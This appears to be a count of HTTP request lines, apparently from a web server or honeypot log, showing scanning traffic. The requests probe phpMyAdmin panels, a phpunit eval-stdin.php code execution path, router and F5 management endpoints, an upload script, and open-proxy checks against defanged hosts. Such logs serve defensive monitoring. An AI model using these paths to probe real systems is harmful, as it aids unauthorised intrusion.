1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/sql/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpMyAdmin2/index.php?lang=en	HTTP/1.1
3	GET	/sql/phpmanager/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin5/index.php?lang=en	HTTP/1.1
1	GET	/sql/sql/index.php?lang=en	HTTP/1.1
3	GET	/sql/webadmin/index.php?lang=en	HTTP/1.1
1	GET	/sql/webdb/index.php?lang=en	HTTP/1.1
1	GET	/sql/websql/index.php?lang=en	HTTP/1.1
1	GET	/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
1	GET	/upl.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/wp-content/	HTTP/1.1
1	GET	/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en	HTTP/1.1
1	GET	http[:]//5[.]188[.]210[.]227/echo.php	HTTP/1.1
1	GET	http[:]//azenv[.]net/	HTTP/1.1
1	GET	http[:]//x[.]com/	HTTP/1.1
8	POST	/boaform/admin/formLogin	HTTP/1.1
2	POST	/mgmt/tm/util/bash	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	PRI	*	HTTP/2.0